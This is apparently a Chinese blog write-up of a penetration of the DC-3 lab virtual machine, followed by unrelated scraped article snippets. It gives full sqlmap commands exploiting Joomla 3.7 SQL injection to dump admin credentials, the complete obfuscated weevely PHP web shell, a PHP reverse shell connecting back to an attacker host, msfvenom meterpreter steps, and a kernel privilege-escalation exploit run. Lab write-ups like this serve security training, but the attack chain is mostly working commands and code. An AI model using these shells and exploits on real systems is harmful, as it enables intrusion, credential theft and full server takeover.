DC-3靶机渗透实战

2023-11-01

0x00 信息收集

使用arp-scan查看局域网内所有主机IP,定位到目标主机IP。在这里插入图片描述

使用nmap扫描端口服务,发现只有80端口开放,服务应该是Joomla。
在这里插入图片描述
使用dirsearch进行路径爆破,发现administrator后台路径,访问http://192.168.1.31/administrator
在这里插入图片描述
访问之后发现是Joomla建站系统,但是登录页面没有版本信息。

回想起刚才爆破的路径有,/README.txt,访问看看,可以看到版本号为3.7。
在这里插入图片描述
此外,可以使用JoomScan对Joomla进行扫描,这是一个专门针对Joomla cms的漏洞扫描器。2020.02版kali没有这个工具,需要下载安装。

执行:perl joomscan.pl -u http://192.168.1.31,扫描出版本信息,但是该工具提示没有漏洞,不要轻易相信。
在这里插入图片描述

0x01 Web渗透

使用searchsploit搜索下Joomla 3.7.0版本是否有漏洞可以利用,发现存在SQL注入。
在这里插入图片描述
将/usr/share/exploitdb/exploits/php/webapps/42033.txt文件打开查看漏洞明细。
在这里插入图片描述
sqlmap执行命令为:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

爆破出数据库名。
在这里插入图片描述
爆破表名:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

在这里插入图片描述
爆破列名:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

在这里插入图片描述
爆破username和password字段:

sqlmap -u "http://192.168.1.31/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' --dump -p list[fullordering]

在这里插入图片描述
拿到admin和密码密文,使用john解密,得到admin的密码为snoopy。
在这里插入图片描述
登录后台,发现Templates处可以上传php脚本。于是下一步就是上传php木马getshell。
在这里插入图片描述

0x02 Getshell&提权

方法一:使用weevely生成shell

weevely生成php shell,密码为psw。

weevely generate psw weevelyshell.php

内容为:

<?php
$u='D$j++,$Di++){$o.=$Dt{$iD}^$k{$Dj};}}return D$o;}if (D@prDeg_matc';
$f='[1])D,$k))D);$o=@DoDb_gDet_contents()DD;@oDb_end_clean(D);$r=@ba';
$h='D$k="7Dbb48372"D;$kh="9b5a8e26Df73eD";$kf=D"183D1Dcde5Db842";$p';
$j='sDtrleDn($t);$o=D"";for($i=0;$i<$lD;){for(D$Dj=0;($DDj<$c&&$i<$l)D;';
$J='="MIDwNYQFBVujZlDDYTK";funcDDtion x($t,D$k){$c=strDlDen($k);$Dl=D';
$x=str_replace('q','','creqatqeq_fquncqtiqon');
$e='==1) D{@Dob_start();@eDvDal(@gzDuncomDpress(D@x(@baDse64_decodDe($m';
$R='sDDe64D_encode(@x(@gzcDompreDss($oD),$k));pDrint("D$p$khD$r$kf");}';
$k='h(D"/$kDh(D.+)$kf/",@fiDleD_get_contDDenDts("php://inpuDt"),D$m)';
$y=str_replace('D','',$h.$J.$j.$u.$k.$e.$f.$R);
$w=$x('',$y);$w();
?>

上传到目标服务器:
在这里插入图片描述

接下来使用weevely连接该shell。

weevely http://192.168.1.31/templates/beez3/weevelyshell.php psw

在这里插入图片描述
拿到shell后,用户为www-data,要提权为root。
在这里插入图片描述
查看内核版本信息:uname -a

查看操作系统版本信息:head -n 1 /etc/issue或者cat /etc/issue
在这里插入图片描述
内核版本为:4.4.0-21 (i686说明是32位系统)

操作系统版本:Ubuntu 16.04

使用searchsploit搜索下Ubuntu 16.04有什么提权漏洞。
在这里插入图片描述
内核版本、操作系统版本都符合,且是提权漏洞的有9个。首先排除64位操作系统的2、3、4、7,只剩1、5、6、8、9。

尝试后发现第5个可以用,Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation。

打开文件cat /usr/share/exploitdb/exploits/linux/local/39772.txt,查看漏洞详情:
在这里插入图片描述
下载到kali中,解压,看到exploit.tar文件,将exploit.tar上传到DC-3主机中。在这里插入图片描述
kali中当前路径开启python.server,供DC-3下载。

python3 -m python.server 80

在DC-3中,wget http://192.168.1.37/exploit.tar,下载exploit.tar,当然可以直接在github上下载。

解压,到ebpf_mapfd_doubleput_exploit路径下,先后执行

./compile.sh

./doubleput

发现提权失败:
在这里插入图片描述
猜测是因为正向shell的缘故,尝试方法二:反弹shell。

方法二:反弹shell

写个反弹shell脚本ncshell.php

<?php
$sock=fsockopen('192.168.1.37',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

将shell脚本上传到DC-3主机中,访问http://192.168.1.31/templates/beez3/ncshell.php,即可执行ncshelll.php,拿到反弹shell。
在这里插入图片描述
到doubleput路径下,执行./doubleput,成功提权。
在这里插入图片描述

方法三:使用msf建立反弹shell

跟方法二原理是一样的。

执行:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.31 LPORT=4444 > msfshell.php

生成php的反弹shell:
在这里插入图片描述
将shell上传到DC-3主机中,然后使用msfconsole连接。

依次执行:

use exploit/multi/handler
set PAYLOAD /php/meterpreter/reverse_tcp
set LHOST 192.168.1.37
set PORT 4444
run

然后浏览器访问http://192.168.1.31/templates/beez3/msfshell.php
在这里插入图片描述
剩余步骤参考方法二,成功提权。
在这里插入图片描述
最后拿shell并提权的时候,注意避免踩坑,正向shell无法提权,反弹shell才能成功提权。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

DC-3靶机渗透实战 的相关文章

  • 男人彻底懂得一个女人之后就不会爱她了吗?

    爱情教母张爱玲说过 男人彻底懂得一个女人之后 是不会爱她的 其实张爱玲的表达不确切 谁都不可能彻底懂得谁 自己都不可能彻底懂得自己 否则 张爱玲不会一遍一遍地写自己的童年 对其进行剖析 早年的有散文 私语 后来有英文的 雷峰塔 和中文的 小
  • java 提取文档注释 命令,java文档注释及javadoc命令

    注释的三种类型 1 单行注释 双斜线 2 多行注释 一次性将程序的多行注释掉 3 文档注释 如果编写Java源代码是添加了合适的文档注释 然年后通过JDK提供的Javadoc工具可以直接将源代码里面的文档注释提取成一份系统的API文档 文档
  • 破解AES秘钥长度限制

    破解AES秘钥长度限制 高级加密标准 AES 在密码学中又称Rijndael加密法 是美国联邦政府采用的一种区块加密标准 这个标准用来替代原先的DES 密码说明 因为Rijndael加密法可以支持更大范围的区块和密钥长度 AES的区块长度固
  • 在liunx双机下自己动手实现浮动IP技术

    http www 360doc com content 11 0823 18 5907545 142730623 shtml 有两台Linux服务器 其中一台主机 IP 139 24 214 22 对外提供了一定的网络服务 另一台从机 IP
  • 性能测试连载 (7)-jmeter 压力测试中的难点解析

    概述 新人在用jmeter做压力测试的时候 会被一些性能术语搞懵 直接导致的后果就是对测试出来的结果数据根本不能理解 更谈不上分析 这篇文章着重给大家实例解释一下jmeter压力测试的一些专有名词 问题1 什么是压力测试 问到如何做压力测试
  • 不同行业数字化工厂建设的几种模式

    国内制造业现阶段面临着巨大的转型压力 劳动力成本迅速攀升 产能过剩 竞争激烈 客户个性化需求日益增长等因素 迫使制造企业从低成本竞争策略转向建立差异化竞争优势 在工厂层面 企业面临着招工难 以及缺乏专业技师的巨大压力 必须实现减员增效 迫切
  • Doris 报错及解决方法

    1 1105 errCode 3 detailMessage tablet 348546 has few replicas 0 alive backends 用csv文件导入数据时报错 用show backends查看有BE节点宕机了 2
  • 基于STM32单片机的农作物大棚灌溉系统设计

    一 硬件方案 本设计以STM32单片机作为主控芯片 实现对农作物大棚环境的温度 湿度 光强度和土壤湿度进行监测 并根据具体情况进行相应的补水和补光 主要由STM32F103C8T6单片机最小系统 wifi模块 温湿度模块 1602液晶显示模
  • windows下编译libLAS库及配置

    windows下编译libLAS库及配置 前言 LibLAS编译 1 在进行编译之前我们首先需要编译Boost GDAL TIFF LASZIP和GeoTIFF的编译 大家可以参考下面的教程 Boost https blog csdn ne
  • jsp页面有中文显示乱码

    Tomcat目录的webapp目录下新建jspProject目录 创建以上文件夹 其中web inf文件夹可从ROOT目录下复制 新建index jsp 代码如下 hello Jsp 访问页面 中文显示乱码 更改jsp编码格式 在头一行中加
  • 【MySQL】mysql在Windows下使用mysqldump命令备份数据库

    在cmd窗口中使用mysqldump命令首先需要配置环境变量 1 在计算机中找到MySQL的安装位置 找到MySQL Workbench 比如我的是C Program Files MySQL MySQL Server 5 7 bin 2 在
  • 【目标检测】5、Faster R-CNN

    文章目录 摘要 引言 2 相关工作 3 Faster R CNN 3 1 区域提议网络 3 1 1 anchor 3 1 2 损失函数 3 1 3 训练RPNs 3 2 RPN和Fast R CNN的特征共享 3 3 实现细节 4 实验 4
  • (python)用户输入一段英文,然后输出这段英文中所有长度为3的英文单词

    正则表达式 集合 import re words input Input the words l re split words 使用空格分隔词语 得到各个单词 print l i 0 这里我设置的是计数器 for i in l if len
  • Linux下逻辑地址、线性地址、物理地址详细总结

    一 逻辑地址转线性地址 机器语言指令中出现的内存地址 都是逻辑地址 需要转换成线性地址 再经过MMU CPU中的内存管理单元 转换成物理地址才能够被访问到 我们写个最简单的hello world程序 用gcc编译 再反编译后会看到以下指令
  • awk的sort功能(zz)

    awk的sort功能 zz 2009 04 27 19 07 排序是经常用到的操作 然而原始版本的awk并没有内置的sort函数 想要排序数组的话只能自己实现一个sort函数 在gawk的3 1以后的版本 扩展提供了对数组的sort功能 a
  • Android开源框架之Android-PullToRefresh

    简介 PullToRefresh是一套实现非常好的下拉刷新库 它支持 ListView ExpandableListView GridView WebView ScrollView HorizontalScrollView ViewPage
  • conda的一些常用命令

    参考博客 我们可以在命令行中或者anaconda prompt中执行命令进行操作 常用命令留存 conda create n Python27 python 3 7 conda create n new env clone original

随机推荐

  • ctfshow-萌新-web5( 利用位运算符控制SQL获取网站敏感信息)

    ctf show 萌新模块 we5关 这一关考察的是intval 函数转换字符串的特性和SQL注入的绕过思路 这一关过滤了单双引号 or 斜杠 加减乘除号 叹号 括号 select等关键字 推荐使用取反运算符 来控制SQL语句 获取flag
  • springboot mysql serverTimezone url 设置时区

    serverTimezone GMT即可 spring datasource url jdbc mysql 127 0 0 1 3306 XXX useUnicode true characterEncoding utf8 serverTi
  • 机器学习-人工智能大数据,公开的海量数据集下载

    数据集的网站 1 Public Data Sets on Amazon Web Services AWS http aws amazon com datasets Amazon从2008年开始就为开发者提供几十TB的开发数据 2 Yahoo
  • macbook中m1安装vmware和centos

    下载vmware 链接 https pan baidu com s 14VWwKvAx2ep4MLd BVzHBg 提取码 aw60 或者去官网下载 vwmare官网下载https customerconnect vmware com do
  • Ubuntu18.04开机自动运行脚本

    参考 1 Ubuntu18 04 没有 etc rc local 这个文件 需自己创建 systemd 默认读取 etc systemd system 下的配置文件 该目录下的文件会链接 lib systemd system 下的文件 执行
  • (send disconnect: Broken pipe)让Mac终端保持(SSH)与远程的连接状态

    编辑 sudo vim etc ssh ssh config 添加以下设置可解决这个问题 断开时重试连接的次数 ServerAliveCountMax 5 每隔5秒自动发送一个空的请求以保持连接 ServerAliveInterval 5
  • MYSQL 转义字符

    1 是 MySQL 的转义符 避免和 mysql 的本身的关键字冲突 只要你不在列名 表名中使用 mysql 的保留字或中文 就不需要转义 所有的数据库都有类似的设置 不过mysql用的是 而已 通常用来说明其中的内容是数据库名 表名 字段
  • Unity3D 射线法获取被点击对象的名称

    void Update if Input GetMouseButton 0 Ray ray Camera main ScreenPointToRay Input mousePosition RaycastHit hitInfo if Phy
  • ICMP识别二层为广播帧则不发送ICMP目的端口不可达报文

    拓扑图 前提 二层交换机转发数据时不改变帧头中任何字段的数据 正常情况下 在主机0上构造一个普通的UDP用户数据报报文给主机1 报文中的UDP首部中的目的端口字段填写一个不可能使用的端口号 则主机1在收到此报文后发现本主机上没有进程监听这个
  • Flutter学习第三课-布局组件 Stack和Positioned

    层叠布局 子组件根据距父容器四个角的位置来确定自己位置 子元素按照代码中声明的顺序作为层级 最后一个声明的子元素会放置在最上层 Flutter中使用Stack和Positioned这两个组件来配合使用决定子元素的坐标位置 Stack Sta
  • 【Notepad】Notepad++ 安装XML/Json插件,格式化xml/json文件

    XML插件安装 1 打开Notepad 软件 2 菜单栏选择插件 选择 插件管理 3 搜索 XML 插件 找到该插件后 勾选该文件Npp Xml Treeview 点击 安装 4 安装成功后 重启Notepad 如果没有成功 多试几次 5
  • 一幅图弄清DFT与DTFT,DFS的关系

    http www cnblogs com BitArt archive 2012 11 24 2786390 html 很多同学学习了数字信号处理之后 被里面的几个名词搞的晕头转向 比如DFT DTFT DFS FFT FT FS等 FT和
  • 树莓派环境处理_一种基于树莓派的便携式的环境监测系统的制作方法

    本发明涉及通讯技术领域 尤其涉及一种基于树莓派的便携式的环境监测系统 背景技术 树莓派是尺寸仅有信用卡大小的一个小型电脑 可以将树莓派连接电视 显示器 键盘鼠标等设备使用 树莓派能替代日常桌面计算机的多种用途 包括文字处理 电子表格 媒体中
  • 论文阅读 视频生成

    T C Wang et al Video to Video Synthesis arXiv 1808 06601 cs Dec 2018 Accessed Nov 03 2020 Online Available http arxiv or
  • CTP监管评测API初始密码修改

    CTP监管评测API初始密码修改 最近在申请看穿式监管认证 我用的是开源的量化交易软件vnpy balabala找期货公司申请了认证账号 然而第一次登录必须修改密码 然而vnpy没有这个功能 网上找了几篇教程 压根不能用 但好在代码可以借鉴
  • 【vue】keep-alive清除缓存最简单暴力的方法

    项目场景 场景一 使用vue开发移动端 有ABC三个页面 点击A跳转到B 点B跳转到C 点C返回B 点B返回A 场景二 场景一实现之后 会出现这样一个问题 先从A跳转到B B页面会被缓存下来 当再从D跳转到B时 B页面并不会更新 解决方案
  • 我的硬盘出现I/O错误,

    用pctools去修复吧 在天空软件园里能下到 用Windows 9x启动盘启动 插入含有Pctools9 0的光盘 运行PCT90目录下的de exe 先进入 Options 菜单 选 Configuration 配置 命令 按下 空格
  • 【j2ee系列】springmvc中使用quartz,项目启动就执行某些任务

    quartz有几种执行任务的方式 至于几种我也不知道 至少有两种吧 一种是org springframework scheduling quartz CronTriggerBean方式 配置指定的时间执行一次任务 如
  • 项目经理如何分配任务

    http www 51testing com html 62 n 245962 html 记得自己第一次当PM 那是接手的项目 原来的PM 在项目需求分析做完之后 去接手另一个重要的项目去了 当时我和另外两个小组长 自然就成了接手PM的人选
  • DC-3靶机渗透实战

    0x00 信息收集 使用arp scan查看局域网内所有主机IP 定位到目标主机IP 使用nmap扫描端口服务 发现只有80端口开放 服务应该是Joomla 使用dirsearch进行路径爆破 发现administrator后台路径 访问h